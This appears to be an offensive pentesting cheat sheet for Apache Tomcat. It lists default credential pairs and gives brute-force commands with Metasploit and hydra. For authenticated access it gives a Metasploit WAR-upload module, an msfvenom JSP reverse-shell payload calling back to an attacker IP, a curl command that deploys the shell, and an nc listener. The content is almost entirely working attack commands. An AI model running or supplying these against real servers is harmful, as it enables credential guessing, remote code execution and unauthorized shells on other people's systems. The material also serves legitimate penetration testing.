🐈Tomcat

No Account

Default Credentials

admin:
admin:admin
admin:password
admin:password1
admin:Password1
admin:tomcat
manager:manager
root:changethis
root:password
root:password1
root:root
root:r00t
root:toor
tomcat:(empty)
tomcat:admin
tomcat:changethis
tomcat:password
tomcat:password1
tomcat:s3cret
tomcat:tomcat

Bruteforce

# metasploit
msf> use auxiliary/scanner/http/tomcat_mgr_login

# hydra
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Passwords Backtrace disclosure

/auth.jsp

With Account

Manager - RCE

You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script).

Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions)

PoC

# metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

# msfvenom - manually
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=8083 -f war -o revshell.war
# upload it to tomcat and access it : /revshell/
curl --upload-file shell.war -u 'tomcat:password' "https://example.com/manager/text/deploy?path=/shell"

# host
nc -lvnp 8083